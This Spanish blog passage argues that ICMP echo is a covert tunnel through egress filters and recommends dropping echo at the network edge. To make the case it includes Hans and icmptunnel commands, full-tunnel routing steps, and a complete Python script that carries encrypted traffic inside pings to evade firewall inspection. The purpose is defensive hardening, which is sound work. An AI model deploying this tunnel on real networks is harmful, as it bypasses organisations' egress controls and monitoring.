cae, los escritorios son inalcanzables hasta que vuelva. Escalar está a una tarjeta de crédito de distancia en Azure. Aquí, escalar significa comprar otra tarjeta u otro host. AVD da al usuario un conjunto completo de funciones RDP por defecto. Aquí, el camino renderizado en el navegador quita portapapeles, audio y múltiples monitores a propósito. Los usuarios que necesitan esas funciones obtienen un cliente RDP nativo a través del mismo túnel y la misma política — pero el valor por defecto es el navegador bien cerrado, y ese es el valor por defecto correcto para una plantilla BYOD. Nada de eso es trivial. Que importe depende de lo que tengas: si ya corres Proxmox, ya gestionas Windows, y ya tienes a alguien que puede cuidar de un hipervisor, entonces todas esas son cosas que ya estás haciendo. Si no, entonces Azure te está vendiendo el personal que no tienes, y eso vale de verdad algo.\nLa pregunta es si vale £18 000 al año por 42 escritorios básicos — o £136 000 por los de GPU — cada año, más redes, copia de seguridad, IPv4 y licencias encima, con el precio fijado por otro, el hardware perteneciente a otro, y la factura denominada en una moneda que no controlas. O si gastas £5 400 al año en hardware y electricidad y te quedas el resto.\nEso es lo que este artículo expone. El siguiente lo construye — el túnel cloudflared, el LXC, las reglas de cortafuegos de Proxmox, la política de Cloudflare Access, y el escritorio funcionando en una pestaña del navegador.\nReferencias Azure Virtual Desktop pricing — cómputo, almacenamiento y redes facturados por separado sobre el derecho a Microsoft 365.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWindows 365 plans and pricing — plano por usuario y por mes, configuraciones con GPU en el nivel Enterprise.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCloudflare Zero Trust pricing — gratis hasta 50 usuarios, pago por uso a partir del usuario 51.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIntel Arc Pro B60 specifications — 24 GB GDDR6, 20 núcleos Xe2, PCIe 5.0 x8, SR-IOV con hasta 7 funciones virtuales.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIntel Arc Pro B70 specifications — 32 GB GDDR6, 32 núcleos Xe2, PCIe 5.0 x16, SR-IOV con hasta 4 funciones virtuales.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWindows 11 Licensing for Virtual Desktops — Software Assurance sobre un SO cualificado (p. ej. Pro) actualiza a Enterprise, otorgando derechos de VDI para hasta cuatro VM por usuario en tu propio servidor local.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/es/networking/zero-trust-vdi-cloudflare-access/","summary":"Parte uno: la arquitectura y el argumento de coste para reemplazar Azure Virtual Desktop con Proxmox, Intel Arc Pro SR-IOV y Cloudflare Access. OAuth on-prem para la identidad, RDP renderizado en el navegador, un túnel LXC con cortafuegos en su propia VLAN, KSM para densidad de memoria, y perfiles en Ceph. El siguiente artículo lo construye.","title":"VDI Zero Trust sin la factura de la nube — Proxmox, Intel Arc Pro y Cloudflare Access"},{"content":"Ping no es un diagnóstico. Es un túnel. El echo de ICMP (la petición que una máquina envía y la respuesta que recibe de vuelta) llevará cualquier byte que le pongas, en ambas direcciones, sobre un protocolo que la mayoría de los firewalls dejan pasar sin inspeccionar y que la mayoría de los sistemas de registro cuentan en vez de leer. Una red que «solo permite ping» ya tiene un VPN completo y cifrable hacia fuera, y cualquiera que pueda alcanzar esa red puede conducir uno.\nEsto es viejo, y está documentado. Loki1 publicó la técnica en Phrack 49 en 1996. Ptunnel2 lleva sesiones TCP enteras dentro de ping desde hace veinte años y está a un paquete de distancia en cualquier caja Linux. Ningún zero-day. El protocolo comportándose exactamente como se especifica.\nEsa es la causa: el estándar, no un fallo en el producto de nadie. Cada host de la tierra está obligado a tomar los datos de una petición de echo y devolvértelos tal cual, sin cambiar. Datos arbitrarios dentro, los mismos datos fuera: eso es todo lo que un túnel necesita, y está impuesto desde 1981.\nEl arreglo es un cambio estrecho. Descarta el echo de ICMP, petición y respuesta, en IPv4 e IPv6, en el borde, y conserva cualquier otro mensaje ICMP. Los errores — Time Exceeded, Packet Too Big, Destination Unreachable — son portantes; bloquéalos y rompes el descubrimiento de MTU del camino y traceroute para nada. Así que esto no es «bloquear ICMP». Es descartar el único mensaje que es un riesgo, y conservar los que llevan la verdad.\nQué permitió de verdad tu política de salida Si gestionas una red donde la salida está filtrada (y si no, eso es otra conversación), entonces esta es la factura de una línea de ella. La política que dice «bloquea todo lo saliente, permite ICMP porque necesitamos hacer ping a cosas» no es una política de salida. Es un túnel completo con el papeleo archivado bajo diagnósticos. Cualquier cosa del interior que pueda enviar una petición de echo y leer la respuesta puede mover datos a cualquier lugar del exterior que responda una, al ritmo que aguante el enlace, y más allá de cada control de contenido que compraste. En los registros es alguien comprobando si internet funciona, y nada más. El malware ha enviado esto durante años por esa razón exacta. Silencioso, estándar, y normalmente ya permitido.\nPor eso es un canal de primera elección para cualquiera que ya esté dentro y no debería. Es la ocupación, no el asalto. Alguien que busca una entrada y salida que dure evita el puerto que dispara una alerta. Levantan un túnel sobre echo y lo dejan corriendo durante meses. Un host que hace mucho ping es un host que nadie vigila. Red de dos vías hacia el patrimonio: comando dentro, datos fuera, sobre el único protocolo que nadie limita en tasa, alerta, ni lee. Y está cifrado, como lo cifra cualquier herramienta real, así que en el cable la carga son los bytes de aspecto aleatorio que un ping lleva de todos modos y la inspección de contenido no tiene nada que leer. El tamaño y la temporización todavía pueden delatarlo ante alguien que de verdad mire. Asomarse dentro del paquete no.\nY la máquina que lo conduce no tiene por qué pertenecer a nadie que trabaje ahí. Todo lo que hace falta es algo que pueda alcanzar tu red y poner un ping en internet, y alcanzar tu red es más fácil de lo que a nadie le gusta admitir. El WiFi llega más allá de las paredes, al pasillo, al aparcamiento, al piso de arriba. El puerto ethernet de la pared de la sala de reuniones, o de recepción, o del escritorio vacío junto a la ventana, está muy a menudo vivo y hablará con cualquier cosa que enchufes, sin ningún 802.1X preguntando quién eres. Una señal a tiro, o un enchufe que nadie bloqueó. Ese es el precio de entrada. Sin credencial, sin cuenta, sin invitación.\nImagina al visitante que sí invitaste. Está en la reunión, agradable, tomando notas, aportando. Su portátil no. En el momento en que alcanzó tu red, por el aire o por el puerto bajo la mesa, estuvo dentro de la pared, y si esa red puede emitir una petición de echo, tiene una salida. Nada se soltó en tu patrimonio. Ninguna cuenta, ningún privilegio sobre nada tuyo, nada para que tus agentes de endpoint atrapen, porque tus agentes no están en su máquina. La persona está al otro lado de la mesa. El tráfico sale por tu puerta principal, cifrado, indistinguible de un portátil que hace más ping del que debería.\nUn visitante a tiro de señal, o en un puerto abierto, consigue un túnel hacia fuera a través de un firewall que solo ve pings Un visitante a tiro, o en un puerto abierto, consigue una ruta hacia fuera dentro de la pared — tu red el WiFi llega al pasillo, aparcamiento, piso de arriba portátil del visitante sin credencial, sin cuenta un puerto de pared vivo sin 802.1X preguntando quién eres firewall de borde solo ve pings servidor en internet petición de echo\u0026#160;\u0026#8594; \u0026#8592;\u0026#160;respuesta de echo cualquier tráfico IP, cifrado, viajando dentro de los pings El precio de entrada es acceso a la red — una señal WiFi a tiro, o un puerto de pared vivo sin 802.1X — y la salida es echo a través del borde. Para el firewall es un host que hace ping; dentro de esos pings hay cualquier tráfico IP, cifrado, con destino a un servidor de internet. Las dos cosas a las que recurrirás no ayudan. NAT es una tabla de traducción, no un filtro: una petición de echo de un host interno abre un mapeo indexado por el id de ICMP, que NAT trata exactamente como trata a un puerto, y la respuesta vuelve por él como cualquier otro flujo. Ejecuté un cliente detrás de mi propio NAT doméstico y nunca notó que el NAT estaba ahí. Una VLAN de invitados aparte no es mejor. La segregación mantiene al visitante fuera de tus servidores, pero no hace nada por mantenerlo fuera de internet, e internet, alcanzado con un ping, es todo el requisito. Un control toca esto: ¿deja esa red salir el echo?\nEsto no se inspecciona para quitarlo, y no se segrega para quitarlo. Cierras la puerta. Todo lo que viene después es por qué el estándar la deja abierta, tres formas de construir el túnel para que la afirmación se sostenga en más que mi palabra, y el único cambio que la cierra.\nLa parte de ICMP que no te debe nada útil Empieza por lo que el estándar dice de verdad, porque todo el argumento descansa en una frase y la gente la descarta sin leerla.\nUna petición de echo lleva un campo de datos. En IPv4, la RFC 7923 dice llanamente que «the data received in the echo message must be returned in the echo reply message». IPv6 apretó la redacción en vez de aflojarla: la RFC 44434 define el campo como «zero or more octets of arbitrary data» y luego exige que «MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message».\nLéelo como operador y es un keepalive. Léelo como alguien que mueve datos y es un regalo. El estándar obliga a cada host alcanzable a aceptar un bloque de bytes que tú eliges y a devolvértelos tal cual, sin cambiar, bajo demanda. Longitud arbitraria. Contenido arbitrario. Sin handshake, sin puerto, sin ninguna aplicación en el otro extremo que tenga que acordar nada. El kernel lo hace, antes de que ningún proceso de userland lo mire.\nY son ambas familias. Pasarse a IPv6 no arregla esto. Lo abre más. La RFC 792 decía que los datos «must be returned»; la RFC 4443 dice que «MUST be returned entirely and unmodified», que es la misma puerta con un cerrojo más fuerte sujetándola abierta. Como tal, el canal existe en el echo de ICMP y en el echo de ICMPv6 por igual, y una regla que lo cierra en una familia y no en la otra no ha cerrado nada. El túnel simplemente se mueve a la familia que dejaste abierta. Hagas lo que hagas con esto, hazlo en ip e ip6 juntos.\nNada más en el protocolo hace esto. Un Time Exceeded lleva la cabecera del paquete que murió y nada más. Un Destination Unreachable es un informe sobre algo que ya pasó. Esos mensajes te cuentan hechos sobre la red. El echo lleva lo que le pongas, en ambas direcciones, y se hace llamar diagnóstico.\nLos errores son portantes. El echo no. Esta es la distinción que la gente del «bloquea ICMP a secas» nunca hace, y es todo el asunto, así que la haré una vez y bien.\nBloquear los errores de ICMP rompe la red en silencio. Filtra Packet Too Big y matas el descubrimiento de MTU del camino: el handshake se completa, las transferencias pequeñas funcionan, y cualquier cosa que lleve un paquete de tamaño completo se cuelga para siempre sin nada en los registros. En IPv6 eso ni siquiera es cuestión de gusto. Los routers no fragmentan, así que la RFC 48905 lista Packet Too Big entre los mensajes que un firewall «must not drop» y advierte que sin él «parts of the Internet will become inaccessible». Filtra Time Exceeded y rompes traceroute, que la RFC 18126 nombra como la razón por la que el mensaje es obligatorio en primer lugar. Estos no son opcionales. Son la retroalimentación que hace que la red se autocorrija, y cubrí el coste de perderlos con detalle la última vez.\nAhora descarta el echo y ve a buscar qué se rompió. ping a través del límite deja de funcionar. Esa es la lista. La lista entera.\nEl descubrimiento de MTU del camino no se inmuta, porque corre sobre Packet Too Big, que es un error. Traceroute no se inmuta, porque traceroute -T y -U recorren TCP y UDP y leen los errores que vuelven. Ninguno de ellos envía un echo. El descubrimiento de vecinos en IPv6 no se inmuta, porque eso son los tipos 133 a 137, y esos los conservas o el segmento muere. El truco de la TTL invertida del post anterior funciona sobre cualquier respuesta, y un handshake TCP te da una. Todo lo que hacía funcionar los diagnósticos del post anterior sigue funcionando, porque ni una sola medición de él enviaba una petición de echo.\nAsí que las dos mitades del protocolo no podrían parecerse menos. Una mitad es la red contándote la verdad sobre sí misma, y la rompes bajo tu propio riesgo. La otra mitad es un servicio impuesto de devolución de carga que resulta que se llama diagnóstico, y lo más fuerte que nadie puede decir a favor de mantenerlo abierto es que ping es cómodo. Es cómodo. Es también la única parte de ICMP que un atacante puede conducir, y puedo enseñarte exactamente con qué la conducen.\nConserva los errores de ICMP, con límite de tasa; descarta solo el echo, en ambas direcciones y ambas familias Dos mitades de un protocolo, y solo una es un riesgo CONSERVAR limita la tasa, nunca bloquees Destination Unreachable lleva por qué un paquete no se pudo entregar Packet Too Big el descubrimiento de MTU del camino depende de él Time Exceeded traceroute depende de él Parameter Problem informa de una cabecera malformada Descubrimiento de vecinos 133\u0026#8211;137 IPv6: el segmento local depende de él Rómpelos y la red se rompe en silencio. DESCARTAR ambas direcciones y familias Echo request type 8 (IPv4) · type 128 (IPv6) Echo reply type 0 (IPv4) · type 129 (IPv6) Nada necesita esto salvo el comando ping . Todo lo que un atacante conduce a través de ICMP pasa por ellos. Un túnel dejado abierto en una familia no está cerrado. Los errores de ICMP son portantes: el descubrimiento de MTU del camino, traceroute y el descubrimiento de vecinos de IPv6 dependen todos de ellos, y bloquearlos rompe la red en silencio. El echo es la única parte de la que nada depende salvo ping, y la única parte que un atacante puede conducir. Descarta eso, conserva el resto, en ambas familias. Demostrándolo: un VPN hecho de ping La herramienta es Hans7, escrita por Friedrich Schöller. Su propia descripción es una línea: «makes it possible to tunnel IPv4 through ICMP echo packets, so you could call it a ping tunnel.» Levanta una interfaz tun en cada extremo, les da direcciones, y mueve cada paquete entre ellas dentro del echo de ICMP. Para la red del medio es alguien haciendo ping a un servidor y el servidor respondiendo. Para mí es una ruta.\nUn paquete IP entero viaja dentro del campo de datos de un solo ping Un paquete entero viaja dentro de un solo ping El paquete que tu sesión SSH envía cabecera IP src / dst cabecera TCP port 22 datos de aplicación tus pulsaciones, tu archivo Hans copia el paquete entero en el campo de datos de echo El paquete que sale por el cable cabecera IP tú al servidor petición de echo de ICMP type 8 · id · seq campo de datos de echo el paquete entero de arriba, sin cambiar Para el firewall de borde esto es una petición de echo, y el registro anota un ping. Dentro del campo de datos hay un paquete con destino a cualquier lugar que el otro extremo pueda alcanzar. El estándar exige que el otro extremo devuelva esos datos tal cual, así que la respuesta también es un paquete. Cada paquete que el túnel lleva se copia en el campo de datos de una petición de echo de ICMP. El estándar obliga al otro extremo a devolver esos datos sin cambiar, así que la respuesta también lleva un paquete. El firewall cuenta un ping; la carga va a cualquier lugar que el otro extremo pueda enrutar. Lo ejecuté a través de mi propia línea, un servidor en una dirección pública y un cliente detrás de mi NAT doméstico, y empujé tráfico real por él. No pings sintéticos con una bandera puesta. Un inicio de sesión SSH y una descarga de archivo, viajando dentro del echo.\nEstá a un paquete de distancia donde ejecuté el servidor, y se compila desde el código de Schöller en cualquier otro sitio. El servidor tiene que ser Linux y necesita root, porque abrir un dispositivo tun y un socket ICMP en bruto lo requieren ambos. La sintaxis es deliberadamente pequeña:\n# on the server (public IP), pick the tunnel network and a password hans -s 10.8.0.0 -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; # server takes 10.8.0.1; clients are handed 10.8.0.2 and up # on the client, point it at the server\u0026#39;s public address hans -c \u0026lt;server-public-ip\u0026gt; -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; Una vez que ambos extremos están arriba hay una nueva interfaz en cada lado con una dirección en la red del túnel, y se comporta como cualquier otro enlace punto a punto:\nNada de esa sesión sabe que está dentro de ping. SSH abre una conexión TCP a 10.8.0.1, el kernel la enruta por tun0, Hans envuelve cada paquete como la carga de una petición de echo, y el otro extremo lo desenvuelve y se lo da a su propio tun0. La respuesta vuelve como la carga de una respuesta de echo. En lo que a SSH respecta, está hablando por un enlace corriente. En lo que al firewall respecta, nadie abrió nada. A un host le están haciendo ping.\nQué pinta tiene en el cable Esta es la parte que termina el argumento, así que mira la vista del firewall en vez de la mía.\nLo que de verdad pasa, y lo que el firewall registra, no son la misma imagen Un túnel, dos imágenes Lo que de verdad pasa tu host tun0 · 10.8.0.2 el servidor tun0 · 10.8.0.1 a cualquier sitio que pueda alcanzar SSH, descargas enrutado fuera cualquier tráfico IP, por el túnel como paquetes corrientes Lo que el firewall de borde ve y registra tu host 198.51.100.9 el servidor 192.0.2.7 petición de echo respuesta de echo icmp echo request 198.51.100.9 \u0026gt; 192.0.2.7 icmp echo reply 192.0.2.7 \u0026gt; 198.51.100.9 icmp echo request 198.51.100.9 \u0026gt; 192.0.2.7 ... contados como pings, contenido sin leer El mismo cable. El firewall nunca ve los paquetes de dentro. El túnel mueve tráfico real entre dos hosts y luego hacia fuera a cualquier lugar que el servidor pueda alcanzar. En el borde solo es petición de echo y respuesta de echo — el firewall registra pings y nunca ve los paquetes que llevan dentro. Siéntate en la interfaz exterior con tcpdump y captura solo ICMP mientras corre la sesión SSH. Ningún TCP al puerto 22 cruza el límite. Lo que cruza es petición de echo y respuesta de echo, ida y vuelta, cada una más gorda que un ping real porque lleva una porción de un segmento TCP en su carga:\n# on the boundary, watch only ICMP echo while traffic runs over the tunnel tcpdump -ni \u0026lt;wan-iface\u0026gt; \u0026#39;icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply\u0026#39; Lee las dos cosas que importan en esa captura. Primero, las longitudes de carga: un ping normal envía 56 bytes y cada línea es del mismo tamaño, mientras que estas varían y son grandes, porque el tamaño de la cosa que mueves se filtra al tamaño del ping. Segundo, el ritmo: un ping de diagnóstico es uno por segundo, y esto es una inundación, porque está moviendo un archivo. Ninguno está oculto. Ambos están a la vista sobre un protocolo que nadie está mirando.\nY ese es todo el asunto. No que esto sea ingenioso, ni difícil de detectar una vez que miras. Casi nadie mira, porque la caja está configurada para permitir ICMP, los registros lo cuentan como pings, y la alerta se ajustó para los puertos que alguien se acordó de preocuparse. El tráfico sale con pinta de comprobación de salud y la comprobación de salud es una ruta a cualquier lugar que el servidor pueda alcanzar.\nUn VPN de túnel completo en condiciones, construido a mano Hans demuestra que el canal está ahí, pero te hace la interfaz y el direccionamiento y te devuelve una ruta, así que no te enseña del todo lo que has construido. Para ver que esto es un VPN en el sentido pleno — el tráfico de toda la máquina saliendo por ping, no un enlace entre dos hosts con nombre — móntalo a mano. icmptunnel8, de Dhaval Kapil, es el indicado para eso, y su propia descripción es una sola línea: «Transparently tunnel your IP traffic through ICMP echo and reply packets.» La misma idea, dispositivo tun y cargas de echo, pero pones la fontanería tú mismo y nada se esconde dentro de un binario.\nEn el servidor arrancas el túnel, levantas la interfaz, y luego haces lo que delata todo el juego: le dices al kernel que deje de responder pings él mismo, para que sus propias respuestas de echo no peleen con las que el túnel está enviando.\nsudo ./icmptunnel -s 10.0.1.1 # server mode; creates tun0, then blocks # from a second shell, bring the interface up (iproute2, not the net-tools the repo ships) sudo ip addr add 10.0.1.1/24 dev tun0 sudo ip addr add 2001:db8:1::1/64 dev tun0 sudo ip link set tun0 mtu 1472 up # 1500 − 20 (IP) − 8 (ICMP); see below # stop the kernel replying to pings — echo now belongs to the tunnel sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 # let the server route the client\u0026#39;s packets onward sudo sysctl -w net.ipv4.ip_forward=1 Lee la línea de icmp_echo_ignore_all otra vez, porque dice más de lo que parece. Ese mando es del propio kernel, y viene como una defensa: ponlo y, en palabras del kernel, «will ignore all ICMP ECHO requests sent to it»9, de modo que un operador puede quitar un host del radar de ping por completo. Está en ambas familias ahora. net.ipv4.icmp_echo_ignore_all desde hace años, y net.ipv6.icmp.echo_ignore_all añadido más tarde para igualar.10 El túnel acciona ese interruptor defensivo por la razón opuesta: con el kernel ya sin responder al echo él mismo, sus dos extremos son libres de usar el echo como transporte puro. Que es la señal. La gente que escribió la pila ya trata el echo como algo que un host puede razonablemente rechazar — la regla de este post toma esa misma decisión una vez, en el borde, por cada host detrás de él.\nEn el cliente levantas la interfaz y luego apuntas la ruta por defecto por ella. No un host alcanzado a través del túnel. Todo.\nsudo ./icmptunnel -c \u0026lt;server-public-ip\u0026gt; # client mode; creates tun0 sudo ip addr add 10.0.1.2/24 dev tun0 sudo ip addr add 2001:db8:1::2/64 dev tun0 sudo ip link set tun0 mtu 1472 up # keep the route to the server itself OUT of the tunnel... sudo ip route add \u0026lt;server-public-ip\u0026gt; via \u0026lt;gateway\u0026gt; dev \u0026lt;iface\u0026gt; # ...then send everything else down it sudo ip route replace default dev tun0 Los propios client.sh y server.sh del proyecto todavía recurren a ifconfig y route de net-tools. Los comandos ip de arriba son los equivalentes de iproute2 y hacen el mismo trabajo. Esa ruta al servidor es la línea que la gente olvida: mantenla fuera del túnel, o los paquetes de echo que llevan el túnel intentan viajar por el túnel, y nada sale. Todo lo demás ahora va por tun0, envuelto en echo, y alcanza el servidor. Si va más lejos es una elección de enrutamiento. Una sola regla de masquerade en el servidor lo pondría en internet público bajo la propia dirección del servidor, y deliberadamente no está aquí, porque el túnel es lo que se está mostrando y no lo necesita.\nEso es un VPN de túnel completo, construido de ping en un puñado de comandos. Cada paquete que el cliente envía — web, DNS, SSH, todo — se captura en tun0 y sale como una petición de echo al servidor, y las respuestas vuelven como respuestas de echo. Una máquina en una red que «solo permite ICMP» acaba de entregar todo su tráfico saliente a una caja de fuera, y el borde registró un host al que le gusta hacer ping.\nEscribiendo el tuyo en Python Aquí está la parte que debería inquietar a cualquiera que espere defenderse de esto detectando una herramienta. Ni Hans ni icmptunnel hacen nada que no pudieras escribir tú mismo en una tarde. Abre un dispositivo tun, envuelve cada paquete como la carga de una petición de echo, desenvuelve los que vuelven. Ese es todo el mecanismo, y el túnel pelado son unas sesenta líneas de Python de la librería estándar sin nada que instalar en absoluto. La versión de abajo añade una cosa encima: cifra la carga, y esa es la única parte que arrastra una dependencia.\n#!/usr/bin/env python3 # pingvpn.py — a VPN tunnel over ICMP echo, in one short file. # # Not a product. It exists to show the channel is trivial to rebuild, so a # defence that hunts for a known tool is chasing the wrong thing entirely. # Linux, needs root (a tun device and a raw ICMP socket both do), and the # `cryptography` package for the AES (pip install cryptography). # # server: sudo python3 pingvpn.py --server # client: sudo python3 pingvpn.py --client \u0026lt;server-public-ip\u0026gt; # # The payload is encrypted with AES-128-GCM under a pre-shared key before it # goes on the wire, so what a firewall sees in the echo data is random bytes — # the same as a real ping\u0026#39;s padding, and nothing for content inspection to read. import argparse import fcntl import hashlib import os import select import socket import struct import sys from cryptography.hazmat.primitives.ciphers.aead import AESGCM TUNSETIFF = 0x400454CA IFF_TUN = 0x0001 IFF_NO_PI = 0x1000 MAGIC = 0x4954 # \u0026#39;IT\u0026#39; in the id field, so we ignore real pings ECHO_REQUEST = 8 ECHO_REPLY = 0 PSK = b\u0026#34;change-me-to-a-shared-secret\u0026#34; # pre-shared secret, both ends KEY = hashlib.sha256(PSK).digest()[:16] # 128-bit key -\u0026gt; AES-128-GCM AEAD = AESGCM(KEY) def open_tun(name=b\u0026#34;tun0\u0026#34;): fd = os.open(\u0026#34;/dev/net/tun\u0026#34;, os.O_RDWR) fcntl.ioctl(fd, TUNSETIFF, struct.pack(\u0026#34;16sH\u0026#34;, name, IFF_TUN | IFF_NO_PI)) return fd def encrypt(data): # -\u0026gt; nonce || ciphertext+tag nonce = os.urandom(12) return nonce + AEAD.encrypt(nonce, data, None) def decrypt(blob): # raises on a packet that is not ours return AEAD.decrypt(blob[:12], blob[12:], None) def checksum(data): if len(data) % 2: data += b\u0026#34;\\x00\u0026#34; total = sum(struct.unpack(\u0026#34;!%dH\u0026#34; % (len(data) // 2), data)) total = (total \u0026gt;\u0026gt; 16) + (total \u0026amp; 0xFFFF) total += total \u0026gt;\u0026gt; 16 return ~total \u0026amp; 0xFFFF def build_echo(icmp_type, payload): head = struct.pack(\u0026#34;!BBHHH\u0026#34;, icmp_type, 0, 0, MAGIC, 0) csum = checksum(head + payload) return struct.pack(\u0026#34;!BBHHH\u0026#34;, icmp_type, 0, csum, MAGIC, 0) + payload def main(): ap = argparse.ArgumentParser(description=\u0026#34;a VPN tunnel over ICMP echo\u0026#34;) group = ap.add_mutually_exclusive_group(required=True) group.add_argument(\u0026#34;--server\u0026#34;, action=\u0026#34;store_true\u0026#34;) group.add_argument(\u0026#34;--client\u0026#34;, metavar=\u0026#34;SERVER_IP\u0026#34;) args = ap.parse_args() out_type = ECHO_REQUEST if args.client else ECHO_REPLY in_type = ECHO_REPLY if args.client else ECHO_REQUEST peer = args.client # None on the server until a client is seen tun = open_tun() sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) print(\u0026#34;tun0 created. bring it up with an address and route, then send traffic.\u0026#34;, file=sys.stderr) while True: readable, _, _ = select.select([tun, sock], [], []) if tun in readable: # a packet wants to leave this host packet = os.read(tun, 65535) if peer: sock.sendto(build_echo(out_type, encrypt(packet)), (peer, 0)) if sock in readable: # something arrived over ICMP data, _ = sock.recvfrom(65535) ihl = (data[0] \u0026amp; 0x0F) * 4 # skip the IP header the kernel adds icmp = data[ihl:] if len(icmp) \u0026lt; 8 or icmp[0] != in_type or icmp[4:6] != struct.pack(\u0026#34;!H\u0026#34;, MAGIC): continue try: packet = decrypt(icmp[8:]) # wrong key or a real ping -\u0026gt; skip except Exception: continue if args.server: peer = socket.inet_ntoa(data[12:16]) # reply to whoever sent os.write(tun, packet) # hand the carried packet to the stack if __name__ == \u0026#34;__main__\u0026#34;: main() Ese es el túnel entero. Abre tun0 y un socket ICMP en bruto y transporta paquetes entre ellos: lo que sale del host se envuelve como una petición de echo, o una respuesta de echo en el servidor, y se envía al otro extremo; lo que llega por ICMP se desenvuelve y se devuelve a la pila. El campo id está fijado a un valor para que pase por encima de los pings reales, y el servidor aprende a dónde responder por el origen del primer paquete que ve.\nEl cifrado es la parte en la que merece la pena detenerse, porque es lo que hacen las herramientas reales y es por qué no atraparás esto mirando dentro del paquete. La carga se sella con AES-128-GCM bajo una clave precompartida antes de envolverse, así que los bytes en los datos del echo son indistinguibles del relleno aleatorio que un ping real lleva. Quita las dos líneas de cripto y el túnel sigue corriendo sobre nada más que la librería estándar — la única razón por la que necesita pip install cryptography es el AES, y el AES es exactamente la parte que convierte un túnel legible en uno ilegible. Levántalo de la misma forma que antes, menos el masquerade. No lo necesitas para demostrar el punto:\n# server: start it (creates tun0, then blocks), then configure from the same shell sudo python3 pingvpn.py --server \u0026amp; sudo ip addr add 10.9.0.1/24 dev tun0 sudo ip addr add 2001:db8:9::1/64 dev tun0 sudo ip link set tun0 mtu 1400 up sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 # client sudo python3 pingvpn.py --client \u0026lt;server-public-ip\u0026gt; \u0026amp; sudo ip addr add 10.9.0.2/24 dev tun0 sudo ip addr add 2001:db8:9::2/64 dev tun0 sudo ip link set tun0 mtu 1400 up sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1 sudo sysctl -w net.ipv6.icmp.echo_ignore_all=1 sudo ip route add \u0026lt;server-public-ip\u0026gt; via \u0026lt;gateway\u0026gt; dev \u0026lt;iface\u0026gt; sudo ip route replace default dev tun0 La razón para escribirlo entero no es la herramienta. Es que la herramienta es desechable. Un archivo corto, sin dependencias hasta que añades el cifrado, y cada copia que alguien teclea tiene una pinta un poco distinta en el cable. Así que una firma que atrapa esta no atrapa nada la semana que viene. No puedes bloquear tu salida de esto nombrando el software, porque no hay software que nombrar.\nNi siquiera necesita un shell. La lógica es bytes dentro, bytes fuera, así que se porta a cualquier cosa que pueda abrir un socket. Incluso WebAssembly: el sandbox del navegador normalmente le niega a una página un socket en bruto de plano, pero donde esa barrera se levanta (un navegador con el permiso concedido por el usuario, en una máquina donde el usuario corre con privilegio suficiente para abrir un socket en bruto) el mismo programa corto corre dentro de una pestaña. Que es la mitad incómoda de esto. No puedes confiar en tus usuarios aquí. El host que conduce el túnel está en el interior, en manos de alguien que decidiste que era seguro porque se sienta detrás del firewall, y el firewall es la cosa que se está tunelizando. La confianza de perímetro asume que la amenaza está fuera de la pared. Esta empieza dentro de ella, siempre.\nCuidado con el MTU, y el suelo de 1280 de IPv6 El túnel no es gratis en el cable. Cada paquete que llevas gana una cabecera IP externa y una cabecera ICMP antes de salir, así que la interfaz interna tiene que quedar por debajo de lo que el camino puede llevar. En IPv4 eso le cuesta al atacante casi nada. Pon el MTU interno bajo (el 1472 de icmptunnel es 1500 menos 20 por la cabecera IP externa y 8 por la cabecera ICMP, y el Python de arriba baja a 1400 por holgura), y donde el número todavía esté mal, IPv4 fragmenta el paquete sobredimensionado y lo reensambla en el otro extremo en vez de descartarlo. Entre el suelo bajo que puedes elegir y la fragmentación tapando el resto, el túnel corre por casi cualquier camino. Esa flexibilidad es exactamente lo que hace de IPv4 el sitio cómodo para hacer esto.\nLa fragmentación y el margen de MTU de IPv4 dejan al túnel correr en cualquier sitio; IPv6 no tiene ninguna, así que falla cerrado Por qué corre en cualquier sitio en IPv4 y falla cerrado en IPv6 IPv4 IP hdr 20 B ICMP 8 B paquete interno MTU del tun 1472 B ¿Demasiado grande? IPv4 fragmenta y reensambla \u0026#8212; el túnel corre por casi cualquier camino. IPv6 IPv6 hdr 40 B ICMPv6 8 B paquete interno no puede bajar de 1280 B suelo duro de 1280 B (RFC 8200) ¿Demasiado grande? Los routers IPv6 lo descartan, sin fragmentación \u0026#8212; el túnel falla cerrado. Los recursos de IPv4 \u0026#8212; un suelo que puedes elegir, fragmentación para el resto \u0026#8212; son lo que hace fiable el túnel. IPv6 no tiene ninguno, así que el ataque que corre casi en cualquier sitio en IPv4 es frágil en IPv6. La familia más segura aquí. Packet Too Big \u0026#8212; un error que conservas, no un echo \u0026#8212; es lo que le deja a un emisor encontrar el tamaño que cabe. Sin escala. El túnel pierde una cabecera IP externa y una ICMP de cada paquete. IPv4 te deja recortar el MTU interno y fragmenta lo que siga siendo demasiado grande, así que corre casi en cualquier sitio; IPv6 pone un suelo duro de 1280 bytes y sus routers no fragmentan, así que un paquete sobredimensionado se descarta y el túnel falla cerrado — lo que hace de IPv6 la familia más segura aquí. IPv6 es menos indulgente, y por una vez eso está de tu lado. El suelo es duro: la RFC 820011 §5 exige que «every link in the Internet have an MTU of 1280 octets or greater», y los routers de IPv6 no fragmentan en tránsito. Eso quita ambas redes de IPv4 a la vez, y muerde al túnel en ambas direcciones. Ejecútalo sobre ICMPv6 y cada enlace del camino tiene que llevar 1280, así que un camino que baje de eso tira abajo el transporte, y no hay recortar por debajo del suelo como puedes en IPv4. Lleva IPv6 dentro del túnel y te topas con la misma pared por el otro lado: la interfaz interna tampoco puede bajar de 1280, mientras que el envoltorio ICMPv6 externo, 40 bytes de cabecera y 8 de ICMPv6, ya está gastando el presupuesto, así que el camino tiene que sobrar 1280 más la sobrecarga. Fállalo en cualquier lugar y el paquete se descarta, no se recorta para caber: el túnel se 